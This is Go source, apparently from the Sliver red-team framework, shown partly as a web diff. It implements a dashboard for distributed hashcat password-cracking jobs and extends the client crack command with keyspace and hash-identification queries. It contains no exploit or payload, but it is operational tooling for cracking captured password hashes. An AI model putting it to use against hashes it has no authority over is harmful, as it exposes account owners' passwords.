}
|
||||
}
|
||||
sort.SliceStable(jobs, func(i, j int) bool {
|
||||
left := crackJobSortTime(jobs[i])
|
||||
right := crackJobSortTime(jobs[j])
|
||||
if left.Equal(right) {
|
||||
return jobs[i].GetID() < jobs[j].GetID()
|
||||
}
|
||||
return left.After(right)
|
||||
})
|
||||
|
||||
globalProgress := newCrackTopProgressAccumulator()
|
||||
workerSamples := map[string]crackTopTaskSample{}
|
||||
for _, job := range jobs {
|
||||
row, samples, progress := crackTopJobTelemetry(job, stations, snapshot.RefreshedAt, snapshot.taskTelemetry)
|
||||
dashboard.Jobs = append(dashboard.Jobs, row)
|
||||
dashboard.Recovered = saturatingUint64Add(dashboard.Recovered, row.Results)
|
||||
if !crackJobTerminal(job) {
|
||||
dashboard.ActiveJobs++
|
||||
if row.ProgressComplete {
|
||||
dashboard.ProgressJobs++
|
||||
}
|
||||
if progress != nil {
|
||||
globalProgress.completed.Add(globalProgress.completed, progress.completed)
|
||||
globalProgress.total.Add(globalProgress.total, progress.total)
|
||||
}
|
||||
for hostID, sample := range samples {
|
||||
if hostID == "" {
|
||||
continue
|
||||
}
|
||||
if current, ok := workerSamples[hostID]; !ok || crackTopSamplePreferred(sample, current, stations[hostID], snapshot.RefreshedAt) {
|
||||
workerSamples[hostID] = sample
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
dashboard.Progress, dashboard.ProgressKnown = globalProgress.value()
|
||||
dashboard.ProgressKnown = dashboard.ProgressKnown && dashboard.ProgressJobs == dashboard.ActiveJobs
|
||||
if dashboard.ActiveJobs == 0 {
|
||||
dashboard.Progress = 0
|
||||
dashboard.ProgressKnown = false
|
||||
}
|
||||
|
||||
workerIDs := make(map[string]struct{}, len(stations)+len(workerSamples))
|
||||
for hostID := range stations {
|
||||
workerIDs[hostID] = struct{}{}
|
||||
}
|
||||
for hostID := range workerSamples {
|
||||
workerIDs[hostID] = struct{}{}
|
||||
}
|
||||
for hostID := range workerIDs {
|
||||
station := stations[hostID]
|
||||
sample, hasSample := workerSamples[hostID]
|
||||
worker := crackTopWorkerRow{ID: hostID, Online: station != nil}
|
||||
if station != nil {
|
||||
worker.Name = crackTopSafeCell(station.GetName())
|
||||
if worker.Name == "" && station.GetStatus() != nil {
|
||||
worker.Name = crackTopSafeCell(station.GetStatus().GetName())
|
||||
}
|
||||
if status := station.GetStatus(); status != nil {
|
||||
worker.State = status.GetState().String()
|
||||
worker.Syncing = status.GetIsSyncing()
|
||||
worker.JobID = strings.TrimSpace(status.GetCurrentCrackJobID())
|
||||
}
|
||||
}
|
||||
if worker.Name == "" {
|
||||
worker.Name = crackTopShortID(hostID)
|
||||
}
|
||||
if worker.State == "" {
|
||||
if worker.Online {
|
||||
worker.State = "ONLINE"
|
||||
} else {
|
||||
worker.State = "OFFLINE"
|
||||
}
|
||||
}
|
||||
if crackTopStationExpectsTelemetry(station) {
|
||||
dashboard.ExpectedWorkers++
|
||||
}
|
||||
if hasSample {
|
||||
if worker.JobID == "" && !worker.Online {
|
||||
worker.JobID = sample.jobID
|
||||
}
|
||||
worker.LastSeen = sample.lastSeen
|
||||
if crackTopTaskSampleIsLive(sample, station, snapshot.RefreshedAt) {
|
||||
worker.TelemetryLive = true
|
||||
worker.Rate = sample.rate
|
||||
worker.RateKnown = sample.rateKnown
|
||||
worker.Devices = sample.devices
|
||||
worker.Temperature = sample.temperature
|
||||
worker.HasTemp = sample.hasTemp
|
||||
worker.Utilization = sample.utilization
|
||||
worker.HasUtil = sample.hasUtil
|
||||
}
|
||||
}
|
||||
if !worker.Online {
|
||||
dashboard.Unavailable++
|
||||
}
|
||||
if worker.RateKnown {
|
||||
dashboard.ClusterRate = saturatingUint64Add(dashboard.ClusterRate, worker.Rate)
|
||||
dashboard.ClusterRateKnown = true
|
||||
dashboard.ReportingWorkers++
|
||||
}
|
||||
dashboard.Workers = append(dashboard.Workers, worker)
|
||||
}
|
||||
dashboard.ClusterComplete = dashboard.ReportingWorkers == dashboard.ExpectedWorkers
|
||||
dashboard.ClusterRateKnown = dashboard.ReportingWorkers > 0 || dashboard.ClusterComplete
|
||||
|
||||
sort.SliceStable(dashboard.Workers, func(i, j int) bool {
|
||||
left, right := dashboard.Workers[i], dashboard.Workers[j]
|
||||
if left.Online != right.Online {
|
||||
return left.Online
|
||||
}
|
||||
if left.RateKnown != right.RateKnown {
|
||||
return left.RateKnown
|
||||
}
|
||||
if left.Rate != right.Rate {
|
||||
return left.Rate > right.Rate
|
||||
}
|
||||
leftName := strings.ToLower(left.Name)
|
||||
rightName := strings.ToLower(right.Name)
|
||||
if leftName != rightName {
|
||||
return leftName < rightName
|
||||
}
|
||||
return left.ID < right.ID
|
||||
})
|
||||
return dashboard
|
||||
}
|
||||
|
||||
//nolint:gocyclo // Job telemetry combines task state, liveness, progress, and device metrics in one aggregation pass.
|
||||
func crackTopJobTelemetry(
|
||||
job *clientpb.CrackJob,
|
||||
stations map[string]*clientpb.Crackstation,
|
||||
now time.Time,
|
||||
taskTelemetry map[string]crackTopTaskTelemetry,
|
||||
) (crackTopJobRow, map[string]crackTopTaskSample, *crackTopProgressAccumulator) {
|
||||
row := crackTopJobRow{
|
||||
ID: strings.TrimSpace(job.GetID()),
|
||||
Status: job.GetStatus(),
|
||||
CreatedAt: crackTopParseTime(job.GetCreatedAt()),
|
||||
UpdatedAt: crackTopParseUnix(job.GetUpdatedAt()),
|
||||
Results: job.GetResultCount(),
|
||||
Mode: crackTopJobMode(job),
|
||||
}
|
||||
progress := newCrackTopProgressAccumulator()
|
||||
samples := map[string]crackTopTaskSample{}
|
||||
workers := map[string]struct{}{}
|
||||
workTasks := 0
|
||||
knownProgressTasks := 0
|
||||
allProgressWeightsKnown := true
|
||||
|
||||
for _, task := range crackJobTasks(job) {
|
||||
if !crackTopCrackTask(task, taskTelemetry) {
|
||||
continue
|
||||
}
|
||||
workTasks++
|
||||
hostID := strings.TrimSpace(task.GetHostUUID())
|
||||
if hostID != "" {
|
||||
workers[hostID] = struct{}{}
|
||||
}
|
||||
status, statusErr := crackTaskStatus(task)
|
||||
progressExact := task.GetShardSkip() == 0
|
||||
if metadata, ok := taskTelemetry[strings.TrimSpace(task.GetID())]; ok {
|
||||
status = metadata.status
|
||||
statusErr = nil
|
||||
progressExact = metadata.progressExact || task.GetShardSkip() == 0
|
||||
if metadata.parseErr {
|
||||
statusErr = errors.New("crack status telemetry could not be parsed")
|
||||
}
|
||||
}
|
||||
if statusErr != nil {
|
||||
row.TelemetryErrors++
|
||||
}
|
||||
fraction, weight, known := crackTopTaskProgress(task, status, progressExact)
|
||||
if known {
|
||||
progress.add(fraction, weight)
|
||||
knownProgressTasks++
|
||||
} else if weight := crackTopAssignedShardWeight(task); weight != nil {
|
||||
// Unknown work may already be complete, so zero is only a lower
|
||||
// bound. Including its weight prevents known small shards from
|
||||
// overstating the job's completion percentage.
|
||||
progress.add(new(big.Rat), weight)
|
||||
} else {
|
||||
allProgressWeightsKnown = false
|
||||
}
|
||||
sample := crackTopTaskSample{
|
||||
jobID: row.ID,
|
||||
task: task,
|
||||
status: status,
|
||||
statusErr: statusErr,
|
||||
lastSeen: crackTopTaskTime(task),
|
||||
}
|
||||
if status != nil {
|
||||
sample.rate, sample.rateKnown = crackTopStatusRate(status)
|
||||
sample.devices = len(status.Devices)
|
||||
sample.temperature, sample.hasTemp = crackTopStatusMaximum(status, func(device crackDeviceView) string { return device.Temperature })
|
||||
sample.utilization, sample.hasUtil = crackTopStatusMaximum(status, func(device crackDeviceView) string { return device.Utilization })
|
||||
}
|
||||
if hostID != "" {
|
||||
if current, ok := samples[hostID]; !ok || crackTopSamplePreferred(sample, current, stations[hostID], now) {
|
||||
samples[hostID] = sample
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
row.Workers = len(workers)
|
||||
row.Progress, row.ProgressKnown = progress.value()
|
||||
row.ProgressKnown = row.ProgressKnown && workTasks > 0 && allProgressWeightsKnown
|
||||
row.ProgressComplete = row.ProgressKnown && knownProgressTasks == workTasks
|
||||
if job.GetStatus() == clientpb.CrackJobStatus_COMPLETED {
|
||||
row.Progress = 1
|
||||
row.ProgressKnown = true
|
||||
row.ProgressComplete = true
|
||||
}
|
||||
for hostID, sample := range samples {
|
||||
if crackTopTaskSampleIsLive(sample, stations[hostID], now) && sample.rateKnown {
|
||||
row.Rate = saturatingUint64Add(row.Rate, sample.rate)
|
||||
row.RateKnown = true
|
||||
row.Reporting++
|
||||
}
|
||||
}
|
||||
return row, samples, progress
|
||||
}
|
||||
|
||||
func crackTopTaskProgress(task *clientpb.CrackTask, status *crackStatusView, progressExact bool) (*big.Rat, *big.Rat, bool) {
|
||||
if task == nil {
|
||||
return nil, nil, false
|
||||
}
|
||||
weight := crackTopAssignedShardWeight(task)
|
||||
if weight == nil {
|
||||
weight = new(big.Rat)
|
||||
}
|
||||
state := task.GetState()
|
||||
if state == clientpb.CrackTaskState_CRACK_TASK_COMPLETED {
|
||||
if weight.Sign() <= 0 && status != nil {
|
||||
_, total, ok := crackTopProgressPair(status)
|
||||
if ok {
|
||||
weight.Set(total)
|
||||
}
|
||||
}
|
||||
if weight.Sign() > 0 {
|
||||
return big.NewRat(1, 1), weight, true
|
||||
}
|
||||
}
|
||||
|
||||
current, total, ok := crackTopProgressPair(status)
|
||||
if ok && (task.GetShardSkip() == 0 || progressExact) {
|
||||
fraction := new(big.Rat).Quo(current, total)
|
||||
if weight.Sign() <= 0 {
|
||||
weight.Set(total)
|
||||
}
|
||||
return fraction, weight, weight.Sign() > 0
|
||||
}
|
||||
if weight.Sign() > 0 && (state == clientpb.CrackTaskState_CRACK_TASK_QUEUED || state == clientpb.CrackTaskState_CRACK_TASK_LEASED) {
|
||||
return new(big.Rat), weight, true
|
||||
}
|
||||
return nil, nil, false
|
||||
}
|
||||
|
||||
func crackTopAssignedShardWeight(task *clientpb.CrackTask) *big.Rat {
|
||||
if task == nil || task.GetShardLimit() == 0 {
|
||||
return nil
|
||||
}
|
||||
return new(big.Rat).SetInt(new(big.Int).SetUint64(task.GetShardLimit()))
|
||||
}
|
||||
|
||||
func crackTopProgressPair(status *crackStatusView) (*big.Rat, *big.Rat, bool) {
|
||||
if status == nil {
|
||||
return nil, nil, false
|
||||
}
|
||||
current, currentOK := crackTopRat(status.ProgressCurrent)
|
||||
total, totalOK := crackTopRat(status.ProgressTotal)
|
||||
if !currentOK || !totalOK || total.Sign() <= 0 {
|
||||
return nil, nil, false
|
||||
}
|
||||
return current, total, true
|
||||
}
|
||||
|
||||
func crackTopRat(value string) (*big.Rat, bool) {
|
||||
value = strings.TrimSpace(value)
|
||||
if value == "" || len(value) > crackTopMaxProgressTextSize {
|
||||
return nil, false
|
||||
}
|
||||
for _, character := range value {
|
||||
if character < '0' || character > '9' {
|
||||
return nil, false
|
||||
}
|
||||
}
|
||||
result := new(big.Rat)
|
||||
if _, ok := result.SetString(value); !ok {
|
||||
return nil, false
|
||||
}
|
||||
return result, true
|
||||
}
|
||||
|
||||
func crackTopStatusRate(status *crackStatusView) (uint64, bool) {
|
||||
if status == nil {
|
||||
return 0, false
|
||||
}
|
||||
var total uint64
|
||||
found := false
|
||||
for _, device := range status.Devices {
|
||||
rate, err := strconv.ParseUint(strings.TrimSpace(device.Speed), 10, 64)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
found = true
|
||||
total = saturatingUint64Add(total, rate)
|
||||
}
|
||||
return total, found
|
||||
}
|
||||
|
||||
func crackTopStatusMaximum(status *crackStatusView, value func(crackDeviceView) string) (float64, bool) {
|
||||
if status == nil || value == nil {
|
||||
return 0, false
|
||||
}
|
||||
maximum := 0.0
|
||||
found := false
|
||||
for _, device := range status.Devices {
|
||||
number, err := strconv.ParseFloat(strings.TrimSpace(value(device)), 64)
|
||||
if err != nil || number < 0 || math.IsNaN(number) || math.IsInf(number, 0) {
|
||||
continue
|
||||
}
|
||||
if !found || number > maximum {
|
||||
maximum = number
|
||||
found = true
|
||||
}
|
||||
}
|
||||
return maximum, found
|
||||
}
|
||||
|
||||
func crackTopTaskSampleIsLive(sample crackTopTaskSample, station *clientpb.Crackstation, now time.Time) bool {
|
||||
if station == nil || sample.task == nil || sample.statusErr != nil || sample.task.GetState() != clientpb.CrackTaskState_CRACK_TASK_RUNNING {
|
||||
return false
|
||||
}
|
||||
leaseExpiresAt := sample.task.GetLeaseExpiresAt()
|
||||
if now.IsZero() || leaseExpiresAt <= now.Unix() {
|
||||
return false
|
||||
}
|
||||
status := station.GetStatus()
|
||||
if status == nil {
|
||||
return false
|
||||
}
|
||||
if status.GetIsSyncing() || status.GetState() != clientpb.States_CRACKING {
|
||||
return false
|
||||
}
|
||||
currentJobID := strings.TrimSpace(status.GetCurrentCrackJobID())
|
||||
return currentJobID != "" && currentJobID == sample.jobID
|
||||
}
|
||||
|
||||
func crackTopStationExpectsTelemetry(station *clientpb.Crackstation) bool {
|
||||
if station == nil {
|
||||
return false
|
||||
}
|
||||
status := station.GetStatus()
|
||||
if status == nil {
|
||||
// The station is connected, but without status we cannot prove it is
|
||||
// idle. Keep the cluster total unknown instead of reporting a false zero.
|
||||
return true
|
||||
}
|
||||
if status.GetIsSyncing() {
|
||||
return false
|
||||
}
|
||||
return status.GetState() == clientpb.States_CRACKING
|
||||
}
|
||||
|
||||
func crackTopSamplePreferred(left, right crackTopTaskSample, station *clientpb.Crackstation, now time.Time) bool {
|
||||
leftLive := crackTopTaskSampleIsLive(left, station, now)
|
||||
rightLive := crackTopTaskSampleIsLive(right, station, now)
|
||||
if leftLive != rightLive {
|
||||
return leftLive
|
||||
}
|
||||
return crackTopSampleNewer(left, right)
|
||||
}
|
||||
|
||||
func crackTopSampleNewer(left, right crackTopTaskSample) bool {
|
||||
if !left.lastSeen.Equal(right.lastSeen) {
|
||||
return left.lastSeen.After(right.lastSeen)
|
||||
}
|
||||
leftRunning := left.task != nil && left.task.GetState() == clientpb.CrackTaskState_CRACK_TASK_RUNNING
|
||||
rightRunning := right.task != nil && right.task.GetState() == clientpb.CrackTaskState_CRACK_TASK_RUNNING
|
||||
if leftRunning != rightRunning {
|
||||
return leftRunning
|
||||
}
|
||||
if left.task == nil || right.task == nil {
|
||||
return left.task != nil
|
||||
}
|
||||
return left.task.GetAttempt() > right.task.GetAttempt()
|
||||
}
|
||||
|
||||
func crackTopCrackTask(task *clientpb.CrackTask, taskTelemetry map[string]crackTopTaskTelemetry) bool {
|
||||
if task == nil {
|
||||
return false
|
||||
}
|
||||
switch task.GetKind() {
|
||||
case clientpb.CrackTaskKind_CRACK_TASK_CRACK:
|
||||
return true
|
||||
case clientpb.CrackTaskKind_CRACK_TASK_UNSPECIFIED:
|
||||
if task.GetShardLimit() != 0 || len(task.GetLatestStatusJSON()) != 0 {
|
||||
return true
|
||||
}
|
||||
metadata, ok := taskTelemetry[strings.TrimSpace(task.GetID())]
|
||||
return ok && (metadata.status != nil || metadata.parseErr)
|
||||
default:
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
func crackTopStationID(station *clientpb.Crackstation) string {
|
||||
if station == nil {
|
||||
return ""
|
||||
}
|
||||
if hostID := strings.TrimSpace(station.GetHostUUID()); hostID != "" {
|
||||
return hostID
|
||||
}
|
||||
if status := station.GetStatus(); status != nil {
|
||||
if hostID := strings.TrimSpace(status.GetHostUUID()); hostID != "" {
|
||||
return hostID
|
||||
}
|
||||
}
|
||||
return strings.TrimSpace(station.GetID())
|
||||
}
|
||||
|
||||
func crackTopTaskTime(task *clientpb.CrackTask) time.Time {
|
||||
if task == nil {
|
||||
return time.Time{}
|
||||
}
|
||||
for _, value := range []int64{task.GetLastHeartbeatAt(), task.GetUpdatedAt(), task.GetStartedAt(), task.GetCreatedAt()} {
|
||||
if value > 0 {
|
||||
return time.Unix(value, 0)
|
||||
}
|
||||
}
|
||||
return time.Time{}
|
||||
}
|
||||
|
||||
func crackTopParseTime(value string) time.Time {
|
||||
parsed, _ := time.Parse(time.RFC3339, strings.TrimSpace(value))
|
||||
return parsed
|
||||
}
|
||||
|
||||
func crackTopParseUnix(value int64) time.Time {
|
||||
if value <= 0 {
|
||||
return time.Time{}
|
||||
}
|
||||
return time.Unix(value, 0)
|
||||
}
|
||||
|
||||
func crackTopJobMode(job *clientpb.CrackJob) string {
|
||||
if job == nil || job.GetCommand() == nil {
|
||||
return ""
|
||||
}
|
||||
mode := int32(job.GetCommand().GetHashType())
|
||||
if job.GetCommand().HashMode != nil {
|
||||
mode = int32(job.GetCommand().GetHashMode())
|
||||
}
|
||||
if name, ok := hashcatHashTypeName(mode); ok {
|
||||
return name
|
||||
}
|
||||
return "mode " + strconv.FormatInt(int64(mode), 10)
|
||||
}
|
||||
|
||||
func crackTopShortID(value string) string {
|
||||
value = crackTopSafeCell(value)
|
||||
if value == "" {
|
||||
return "unknown"
|
||||
}
|
||||
if index := strings.IndexByte(value, '-'); index > 0 {
|
||||
value = value[:index]
|
||||
}
|
||||
runes := []rune(value)
|
||||
if len(runes) > 8 {
|
||||
value = string(runes[:8])
|
||||
}
|
||||
return value
|
||||
}
|
||||
|
||||
func crackTopSafeCell(value string) string {
|
||||
value = ansi.Strip(value)
|
||||
value = strings.Map(func(r rune) rune {
|
||||
if !unicode.IsPrint(r) {
|
||||
return -1
|
||||
}
|
||||
if unicode.IsSpace(r) && r != ' ' {
|
||||
return ' '
|
||||
}
|
||||
return r
|
||||
}, value)
|
||||
value = strings.TrimSpace(value)
|
||||
const maximumRunes = 96
|
||||
runes := []rune(value)
|
||||
if len(runes) > maximumRunes {
|
||||
value = string(runes[:maximumRunes-1]) + "…"
|
||||
}
|
||||
return value
|
||||
}
|
||||
|
||||
func saturatingUint64Add(left, right uint64) uint64 {
|
||||
if math.MaxUint64-left < right {
|
||||
return math.MaxUint64
|
||||
}
|
||||
return left + right
|
||||
}
|
||||
File diff suppressed because it is too large.
Load diff
File diff suppressed because it is too large.
Load diff
+241
-51
@@ -22,7 +22,8 @@ import (
|
||||
"context"
|
||||
"fmt"
|
||||
"sort"
|
||||
"time"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/spf13/cobra"
|
||||
@@ -31,23 +32,47 @@ import (
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
)
|
||||
|
||||
// CrackCmd - GPU password cracking interface
|
||||
func CrackCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
if shouldRunCrack(cmd, args) {
|
||||
invocation, err := classifyCrackInvocation(cmd, args)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
if invocation.mode == crackInvocationBackendInfo {
|
||||
ctx, cancel := crackCommandContext(cmd.Context(), cmd)
|
||||
defer cancel()
|
||||
crackers, err := connectedCrackstations(ctx, con.Rpc)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if len(crackers) == 0 {
|
||||
PrintNoCrackstations(con)
|
||||
return
|
||||
}
|
||||
printCrackersWithBackendInfoLevel(crackers, con, false, invocation.backendInfoLevel)
|
||||
return
|
||||
}
|
||||
|
||||
if invocation.mode == crackInvocationJob || invocation.isSynchronousQuery() {
|
||||
crackCmd, err := buildCrackCommand(cmd, args)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
timeoutSeconds, _ := cmd.Flags().GetInt64("timeout")
|
||||
ctx := context.Background()
|
||||
if timeoutSeconds > 0 {
|
||||
var cancel context.CancelFunc
|
||||
ctx, cancel = context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
|
||||
defer cancel()
|
||||
ctx, cancel := crackCommandContext(cmd.Context(), cmd)
|
||||
defer cancel()
|
||||
if err := resolveManagedCrackFileReferences(ctx, crackCmd, func(ctx context.Context, request *clientpb.CrackFile) (*clientpb.CrackFiles, error) {
|
||||
return con.Rpc.CrackFilesList(ctx, request)
|
||||
}); err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
resp, err := con.Rpc.Crack(ctx, crackCmd)
|
||||
@@ -55,6 +80,16 @@ func CrackCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if invocation.isSynchronousQuery() {
|
||||
value, stderr, err := crackQueryResponse(resp, invocation)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
printCrackQueryStderr(con, stderr)
|
||||
printCrackQueryValue(con, value)
|
||||
return
|
||||
}
|
||||
if resp == nil || resp.Job == nil {
|
||||
con.PrintInfof("Crack request submitted\n")
|
||||
return
|
||||
@@ -89,21 +124,139 @@ func CrackCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
}
|
||||
}
|
||||
|
||||
func canonicalCrackKeyspace(response *clientpb.CrackResponse) (string, error) {
|
||||
return crackQueryResponseValue(response, crackInvocation{mode: crackInvocationKeyspace})
|
||||
}
|
||||
|
||||
func (invocation crackInvocation) isSynchronousQuery() bool {
|
||||
switch invocation.mode {
|
||||
case crackInvocationKeyspace, crackInvocationTotalCandidates, crackInvocationLookup, crackInvocationIdentify, crackInvocationHashInfo:
|
||||
return true
|
||||
default:
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
func (invocation crackInvocation) queryMode() clientpb.CrackQueryMode {
|
||||
switch invocation.mode {
|
||||
case crackInvocationKeyspace:
|
||||
return clientpb.CrackQueryMode_CRACK_QUERY_KEYSPACE
|
||||
case crackInvocationTotalCandidates:
|
||||
return clientpb.CrackQueryMode_CRACK_QUERY_TOTAL_CANDIDATES
|
||||
case crackInvocationLookup:
|
||||
return clientpb.CrackQueryMode_CRACK_QUERY_LOOKUP
|
||||
case crackInvocationIdentify:
|
||||
return clientpb.CrackQueryMode_CRACK_QUERY_IDENTIFY
|
||||
case crackInvocationHashInfo:
|
||||
return clientpb.CrackQueryMode_CRACK_QUERY_HASH_INFO
|
||||
default:
|
||||
return clientpb.CrackQueryMode_CRACK_QUERY_UNSPECIFIED
|
||||
}
|
||||
}
|
||||
|
||||
func crackQueryResponseValue(response *clientpb.CrackResponse, invocation crackInvocation) (string, error) {
|
||||
value, _, err := crackQueryResponse(response, invocation)
|
||||
return value, err
|
||||
}
|
||||
|
||||
func crackQueryResponse(response *clientpb.CrackResponse, invocation crackInvocation) (string, string, error) {
|
||||
if response == nil {
|
||||
return "", "", fmt.Errorf("server returned an empty %s response", crackInvocationName(invocation.mode))
|
||||
}
|
||||
expectedMode := invocation.queryMode()
|
||||
if expectedMode == clientpb.CrackQueryMode_CRACK_QUERY_UNSPECIFIED {
|
||||
return "", "", fmt.Errorf("invalid synchronous crack query mode")
|
||||
}
|
||||
query := response.GetQuery()
|
||||
if query == nil {
|
||||
// Servers predating typed query results returned only Keyspace. Do not use
|
||||
// that legacy field for a selected station because it cannot prove which
|
||||
// station produced the result.
|
||||
if invocation.mode == crackInvocationKeyspace && invocation.crackstation == "" {
|
||||
value, err := canonicalCrackDecimal(response.GetKeyspace(), "keyspace")
|
||||
return value, "", err
|
||||
}
|
||||
return "", "", fmt.Errorf("server returned an empty %s query result", crackInvocationName(invocation.mode))
|
||||
}
|
||||
if query.GetMode() != expectedMode {
|
||||
return "", "", fmt.Errorf("server returned %s for %s query", query.GetMode().String(), crackInvocationName(invocation.mode))
|
||||
}
|
||||
value := query.GetValue()
|
||||
switch invocation.mode {
|
||||
case crackInvocationKeyspace, crackInvocationTotalCandidates:
|
||||
value, err := canonicalCrackDecimal(value, crackInvocationName(invocation.mode))
|
||||
return value, query.GetStderr(), err
|
||||
default:
|
||||
if strings.TrimSpace(value) == "" {
|
||||
return "", "", fmt.Errorf("server returned an empty %s query result", crackInvocationName(invocation.mode))
|
||||
}
|
||||
return value, query.GetStderr(), nil
|
||||
}
|
||||
}
|
||||
|
||||
func canonicalCrackDecimal(value string, name string) (string, error) {
|
||||
raw := strings.TrimSpace(value)
|
||||
keyspace, err := strconv.ParseUint(raw, 10, 64)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("server returned invalid %s %q", name, value)
|
||||
}
|
||||
return strconv.FormatUint(keyspace, 10), nil
|
||||
}
|
||||
|
||||
func printCrackQueryValue(con *console.SliverClient, value string) {
|
||||
con.Printf("%s", value)
|
||||
if !strings.HasSuffix(value, "\n") {
|
||||
con.Printf("\n")
|
||||
}
|
||||
}
|
||||
|
||||
func printCrackQueryStderr(con *console.SliverClient, value string) {
|
||||
if value == "" {
|
||||
return
|
||||
}
|
||||
if !strings.HasSuffix(value, "\n") {
|
||||
value += "\n"
|
||||
}
|
||||
con.PrintWarnf("%s", value)
|
||||
}
|
||||
|
||||
// CrackStationsCmd - Manage GPU cracking stations
|
||||
func CrackStationsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
crackers, err := con.Rpc.Crackstations(context.Background(), &commonpb.Empty{})
|
||||
ctx, cancel := crackCommandContext(cmd.Context(), cmd)
|
||||
defer cancel()
|
||||
crackers, err := connectedCrackstations(ctx, con.Rpc)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
showBenchmarks, _ := cmd.Flags().GetBool("show-benchmarks")
|
||||
if len(crackers.Crackstations) == 0 {
|
||||
if len(crackers) == 0 {
|
||||
PrintNoCrackstations(con)
|
||||
} else {
|
||||
PrintCrackers(crackers.Crackstations, con, showBenchmarks)
|
||||
PrintCrackers(crackers, con, showBenchmarks)
|
||||
}
|
||||
}
|
||||
|
||||
func connectedCrackstations(ctx context.Context, rpc rpcpb.SliverRPCClient) ([]*clientpb.Crackstation, error) {
|
||||
if ctx == nil {
|
||||
ctx = context.Background()
|
||||
}
|
||||
response, err := rpc.Crackstations(ctx, &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if response == nil {
|
||||
return nil, nil
|
||||
}
|
||||
crackers := make([]*clientpb.Crackstation, 0, len(response.Crackstations))
|
||||
for _, cracker := range response.Crackstations {
|
||||
if cracker != nil {
|
||||
crackers = append(crackers, cracker)
|
||||
}
|
||||
}
|
||||
return crackers, nil
|
||||
}
|
||||
|
||||
func PrintNoCrackstations(con *console.SliverClient) {
|
||||
con.PrintInfof("No crackstations connected to server\n")
|
||||
}
|
||||
@@ -117,59 +270,96 @@ func AreCrackersOnline(con *console.SliverClient) bool {
|
||||
}
|
||||
|
||||
func PrintCrackers(crackers []*clientpb.Crackstation, con *console.SliverClient, showBenchmarks bool) {
|
||||
sort.Slice(crackers, func(i, j int) bool {
|
||||
return crackers[i].Name < crackers[j].Name
|
||||
printCrackersWithBackendInfoLevel(crackers, con, showBenchmarks, 1)
|
||||
}
|
||||
|
||||
func printCrackersWithBackendInfoLevel(crackers []*clientpb.Crackstation, con *console.SliverClient, showBenchmarks bool, backendInfoLevel uint32) {
|
||||
ordered := make([]*clientpb.Crackstation, 0, len(crackers))
|
||||
for _, cracker := range crackers {
|
||||
if cracker != nil {
|
||||
ordered = append(ordered, cracker)
|
||||
}
|
||||
}
|
||||
sort.SliceStable(ordered, func(i, j int) bool {
|
||||
if ordered[i].Name == ordered[j].Name {
|
||||
return ordered[i].HostUUID < ordered[j].HostUUID
|
||||
}
|
||||
return ordered[i].Name < ordered[j].Name
|
||||
})
|
||||
for index, cracker := range crackers {
|
||||
printCracker(cracker, index, con, showBenchmarks)
|
||||
if index < len(crackers)-1 {
|
||||
for index, cracker := range ordered {
|
||||
printCracker(cracker, index, con, showBenchmarks, backendInfoLevel)
|
||||
if index < len(ordered)-1 {
|
||||
con.Println()
|
||||
con.Println()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func printCracker(cracker *clientpb.Crackstation, index int, con *console.SliverClient, showBenchmarks bool) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.SetTitle(console.StyleBoldOrange.Render(fmt.Sprintf(">>> Crackstation %02d - %s (%s)", index+1, cracker.Name, cracker.OperatorName)) + "\n")
|
||||
tw.AppendSeparator()
|
||||
tw.AppendRow(table.Row{console.StyleBold.Render("Operating System"), fmt.Sprintf("%s/%s", cracker.GOOS, cracker.GOARCH)})
|
||||
tw.AppendRow(table.Row{console.StyleBold.Render("Hashcat Version"), cracker.HashcatVersion})
|
||||
if 0 < len(cracker.CUDA) {
|
||||
for _, cuda := range cracker.CUDA {
|
||||
tw.AppendSeparator()
|
||||
tw.AppendRow(table.Row{console.StyleBold.Render("CUDA Device"), console.StyleBoldGreen.Render(fmt.Sprintf("%s (%s)", cuda.Name, cuda.Version))})
|
||||
tw.AppendRow(table.Row{console.StyleBold.Render("Memory"), fmt.Sprintf("%s free of %s", cuda.MemoryFree, cuda.MemoryTotal)})
|
||||
tw.AppendRow(table.Row{console.StyleBold.Render("Clock"), fmt.Sprintf("%d", cuda.Clock)})
|
||||
tw.AppendRow(table.Row{console.StyleBold.Render("Processors"), fmt.Sprintf("%d", cuda.Processors)})
|
||||
}
|
||||
}
|
||||
if 0 < len(cracker.Metal) {
|
||||
for _, metal := range cracker.Metal {
|
||||
tw.AppendSeparator()
|
||||
tw.AppendRow(table.Row{console.StyleBold.Render("Metal Device"), console.StyleBoldGreen.Render(fmt.Sprintf("%s (%s)", metal.Name, metal.Version))})
|
||||
